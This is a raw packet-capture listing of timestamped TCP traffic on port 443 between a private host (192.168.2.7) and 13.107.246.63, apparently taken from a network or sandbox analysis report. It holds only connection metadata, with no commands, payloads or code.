Nov 24, 2024 05:12:28.073591948 CET	443	49988	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.074525118 CET	49988	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.074570894 CET	443	49988	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.075090885 CET	49988	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.075099945 CET	443	49988	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.080596924 CET	443	49990	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.081110954 CET	49990	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.081146955 CET	443	49990	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.081587076 CET	49990	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.081598043 CET	443	49990	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.302200079 CET	443	49985	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.305347919 CET	443	49985	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.305412054 CET	49985	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.309051991 CET	443	49986	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.312196970 CET	443	49986	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.312267065 CET	49986	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.319792986 CET	49985	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.319828033 CET	443	49985	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.319844961 CET	49985	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.319854021 CET	443	49985	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.321033955 CET	49986	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.321073055 CET	443	49986	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.321099997 CET	49986	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.321115017 CET	443	49986	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.326410055 CET	49996	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.326440096 CET	443	49996	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.326510906 CET	49996	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.326740980 CET	49996	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.326756954 CET	443	49996	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.327835083 CET	49997	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.327872992 CET	443	49997	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.327941895 CET	49997	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.328075886 CET	49997	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.328090906 CET	443	49997	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.416637897 CET	443	49987	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.419581890 CET	443	49987	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.419692039 CET	49987	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.423892021 CET	49987	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.423892021 CET	49987	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.423939943 CET	443	49987	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.423969030 CET	443	49987	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.427457094 CET	49998	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.427490950 CET	443	49998	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.427556992 CET	49998	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.427876949 CET	49998	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.427892923 CET	443	49998	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.523730040 CET	443	49990	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.526845932 CET	443	49990	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.526909113 CET	49990	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.526948929 CET	49990	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.526968002 CET	443	49990	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.526978970 CET	49990	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.526983976 CET	443	49990	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.529057026 CET	443	49988	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.529237032 CET	443	49988	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.529294968 CET	49988	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.529325962 CET	49988	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.529325962 CET	49988	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.529340029 CET	443	49988	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.529354095 CET	443	49988	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.530203104 CET	49999	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.530246019 CET	443	49999	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.530314922 CET	49999	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.530456066 CET	49999	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.530468941 CET	443	49999	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.531239986 CET	50000	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.531276941 CET	443	50000	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:28.531331062 CET	50000	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.531438112 CET	50000	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:28.531446934 CET	443	50000	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.074757099 CET	443	49996	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.075525045 CET	49996	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.075552940 CET	443	49996	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.076455116 CET	49996	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.076466084 CET	443	49996	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.119170904 CET	443	49997	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.119674921 CET	49997	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.119704962 CET	443	49997	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.120198011 CET	49997	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.120208979 CET	443	49997	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.237792015 CET	443	49998	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.239022970 CET	49998	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.239068031 CET	443	49998	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.239619017 CET	49998	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.239626884 CET	443	49998	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.321611881 CET	443	49999	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.322199106 CET	49999	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.322242022 CET	443	49999	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.322702885 CET	49999	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.322722912 CET	443	49999	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.373260021 CET	443	50000	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.373828888 CET	50000	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.373861074 CET	443	50000	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.374319077 CET	50000	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.374327898 CET	443	50000	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.508450031 CET	443	49996	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.511636972 CET	443	49996	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.511704922 CET	49996	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.511773109 CET	49996	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.511790037 CET	443	49996	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.511804104 CET	49996	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.511810064 CET	443	49996	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.515135050 CET	50002	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.515177965 CET	443	50002	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.515249014 CET	50002	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.515396118 CET	50002	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.515410900 CET	443	50002	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.560947895 CET	443	49997	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.564032078 CET	443	49997	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.564131975 CET	49997	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.564172983 CET	49997	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.564193964 CET	443	49997	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.564207077 CET	49997	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.564213037 CET	443	49997	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.567550898 CET	50003	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.567591906 CET	443	50003	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.567693949 CET	50003	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.567926884 CET	50003	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.567941904 CET	443	50003	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.679577112 CET	443	49998	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.682668924 CET	443	49998	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.682739973 CET	49998	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.682768106 CET	443	49998	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.682873964 CET	49998	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.682882071 CET	443	49998	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.682960987 CET	49998	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.682974100 CET	443	49998	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.682982922 CET	443	49998	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.686278105 CET	50004	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.686376095 CET	443	50004	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.686465979 CET	50004	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.686809063 CET	50004	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.686847925 CET	443	50004	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.764571905 CET	443	49999	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.767666101 CET	443	49999	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.767762899 CET	49999	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.767853022 CET	49999	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.767853022 CET	49999	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.767903090 CET	443	49999	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.767932892 CET	443	49999	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.770783901 CET	50005	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.770833015 CET	443	50005	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.770915031 CET	50005	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.771095991 CET	50005	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.771109104 CET	443	50005	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.825012922 CET	443	50000	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.828726053 CET	443	50000	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.828820944 CET	50000	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.830024958 CET	50000	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.830053091 CET	443	50000	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.830068111 CET	50000	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.830076933 CET	443	50000	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.833406925 CET	50006	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.833448887 CET	443	50006	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:30.833550930 CET	50006	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.833688021 CET	50006	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:30.833697081 CET	443	50006	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.288391113 CET	443	50003	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.289031029 CET	50003	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.289071083 CET	443	50003	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.289525986 CET	50003	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.289532900 CET	443	50003	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.367772102 CET	443	50002	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.375051022 CET	50002	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.375087023 CET	443	50002	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.375648022 CET	50002	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.375658035 CET	443	50002	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.464473963 CET	443	50004	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.511663914 CET	50004	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.550261021 CET	443	50005	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.556878090 CET	443	50006	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.564143896 CET	50004	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.564167976 CET	443	50004	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.567914009 CET	50004	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.567926884 CET	443	50004	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.593956947 CET	50005	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.608475924 CET	50006	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.610214949 CET	50005	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.610224009 CET	443	50005	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.611061096 CET	50005	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.611067057 CET	443	50005	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.611573935 CET	50006	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.611588001 CET	443	50006	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.612242937 CET	50006	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.612250090 CET	443	50006	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.720812082 CET	443	50003	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.720841885 CET	443	50003	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.720889091 CET	50003	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.720916986 CET	443	50003	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.721167088 CET	50003	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.721174002 CET	443	50003	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.721189022 CET	50003	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.721357107 CET	443	50003	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.721395016 CET	443	50003	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.721432924 CET	50003	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.724870920 CET	50008	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.724915981 CET	443	50008	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.724976063 CET	50008	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.725202084 CET	50008	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.725222111 CET	443	50008	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.819109917 CET	443	50002	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.822246075 CET	443	50002	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.822304010 CET	50002	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.822416067 CET	50002	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.822431087 CET	443	50002	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.822444916 CET	50002	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.822452068 CET	443	50002	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.825689077 CET	50009	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.825728893 CET	443	50009	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.825820923 CET	50009	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.826014042 CET	50009	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.826028109 CET	443	50009	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.907141924 CET	443	50004	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.910660028 CET	443	50004	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.910703897 CET	50004	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.910708904 CET	443	50004	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.910748005 CET	50004	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.910825968 CET	50004	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.910841942 CET	443	50004	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.910862923 CET	50004	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.910868883 CET	443	50004	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.913759947 CET	50010	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.913784981 CET	443	50010	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.913861990 CET	50010	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.913999081 CET	50010	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.914015055 CET	443	50010	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.988763094 CET	443	50006	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.992429972 CET	443	50006	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.992497921 CET	50006	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.992539883 CET	50006	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.992558002 CET	443	50006	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.992568970 CET	50006	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.992573977 CET	443	50006	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.993403912 CET	443	50005	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.993441105 CET	443	50005	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.993499041 CET	50005	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.993506908 CET	443	50005	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.993549109 CET	50005	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.993632078 CET	50005	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.993644953 CET	443	50005	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.993654966 CET	50005	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.993660927 CET	443	50005	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.995841026 CET	50011	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.995879889 CET	50012	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.995896101 CET	443	50011	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.995918989 CET	443	50012	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.995976925 CET	50011	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.996011019 CET	50012	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.996182919 CET	50012	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.996197939 CET	443	50012	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:32.996212959 CET	50011	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:32.996228933 CET	443	50011	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:34.439929962 CET	443	50008	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:34.440543890 CET	50008	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:34.440565109 CET	443	50008	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:34.441081047 CET	50008	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:34.441092968 CET	443	50008	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:34.617492914 CET	443	50009	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:34.618288994 CET	50009	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:34.618313074 CET	443	50009	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:34.618920088 CET	50009	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:34.618927002 CET	443	50009	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:34.691380978 CET	443	50010	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:34.691993952 CET	50010	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:34.692006111 CET	443	50010	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:34.692643881 CET	50010	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:34.692650080 CET	443	50010	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:34.779066086 CET	443	50012	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:34.779701948 CET	50012	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:34.779727936 CET	443	50012	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:34.780318975 CET	50012	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:34.780340910 CET	443	50012	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:34.841293097 CET	443	50011	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:34.841976881 CET	50011	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:34.841991901 CET	443	50011	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:34.842494965 CET	50011	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:34.842499018 CET	443	50011	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:34.873913050 CET	443	50008	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:34.877079964 CET	443	50008	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:34.877140999 CET	443	50008	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:34.877142906 CET	50008	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:34.877198935 CET	50008	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:34.877275944 CET	50008	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:34.877295017 CET	443	50008	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:34.877306938 CET	50008	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:34.877312899 CET	443	50008	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:34.880521059 CET	50014	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:34.880565882 CET	443	50014	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:34.880641937 CET	50014	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:34.880784988 CET	50014	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:34.880796909 CET	443	50014	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.063303947 CET	443	50009	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.066906929 CET	443	50009	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.066989899 CET	50009	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:35.079843998 CET	50009	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:35.079866886 CET	443	50009	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.083328009 CET	50015	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:35.083376884 CET	443	50015	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.083437920 CET	50015	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:35.083960056 CET	50015	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:35.083975077 CET	443	50015	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.134079933 CET	443	50010	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.134104013 CET	443	50010	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.134176970 CET	50010	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:35.134196043 CET	443	50010	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.134426117 CET	50010	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:35.134433031 CET	443	50010	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.134449005 CET	50010	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:35.134613991 CET	443	50010	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.134646893 CET	443	50010	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.134685993 CET	50010	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:35.137753963 CET	50016	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:35.137794018 CET	443	50016	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.137859106 CET	50016	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:35.138001919 CET	50016	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:35.138020992 CET	443	50016	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.221785069 CET	443	50012	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.224746943 CET	443	50012	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.224842072 CET	50012	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:35.224864960 CET	443	50012	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.224886894 CET	443	50012	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.224951029 CET	50012	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:35.225023985 CET	50012	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:35.225043058 CET	443	50012	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.225052118 CET	50012	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:35.225059032 CET	443	50012	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.228398085 CET	50017	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:35.228478909 CET	443	50017	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.228569984 CET	50017	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:35.228732109 CET	50017	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:35.228765011 CET	443	50017	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.294389009 CET	443	50011	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.297625065 CET	443	50011	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.297718048 CET	443	50011	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.297732115 CET	50011	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:35.297774076 CET	50011	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:35.297835112 CET	50011	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:35.297857046 CET	443	50011	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:35.297869921 CET	50011	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:35.297874928 CET	443	50011	13.107.246.63	192.168.2.7
